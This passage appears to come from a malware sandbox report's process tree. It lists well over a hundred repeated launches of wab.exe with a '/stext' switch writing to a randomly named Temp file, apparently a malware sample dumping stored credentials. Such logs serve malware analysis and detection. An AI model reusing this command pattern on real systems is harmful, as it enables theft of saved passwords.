        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8160
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8168
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8176
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8184
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7236
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1660
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8044
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8196
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8204
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8212
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8220
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8228
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8236
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8244
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8252
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8260
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8268
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8276
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8284
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8292
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8300
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8308
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8316
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8324
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8332
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8340
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8348
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8356
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8364
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8372
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8380
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8388
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8396
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8404
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8412
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8420
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8428
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8436
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8444
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8452
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8460
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8468
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8476
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8484
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8492
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8500
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8508
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8516
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8524
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8532
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8540
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8548
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8556
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8564
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8572
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8580
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8588
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8596
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8604
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8612
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8620
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8628
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8636
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8644
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8652
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8660
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8668
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8676
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8684
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8692
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8700
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8708
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8716
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8724
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8732
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8740
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8748
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8756
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8764
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8772
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8780
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8788
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8796
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8804
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8812
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8820
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8828
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8836
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8844
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8852
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8860
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8868
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8876
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8884
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8892
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8900
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8908
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8916
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8924
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8932
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8940
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8948
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8956
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8964
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8976
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8984
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:8992
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9000
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9008
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9016
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9024
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9032
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9040
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9048
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9056
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9064
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9072
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9080
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9088
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9096
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9104
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9112
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9120
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9128
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9136
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9144
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9152
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9160
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9168
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9176
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9184
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9192
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9200
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:9208
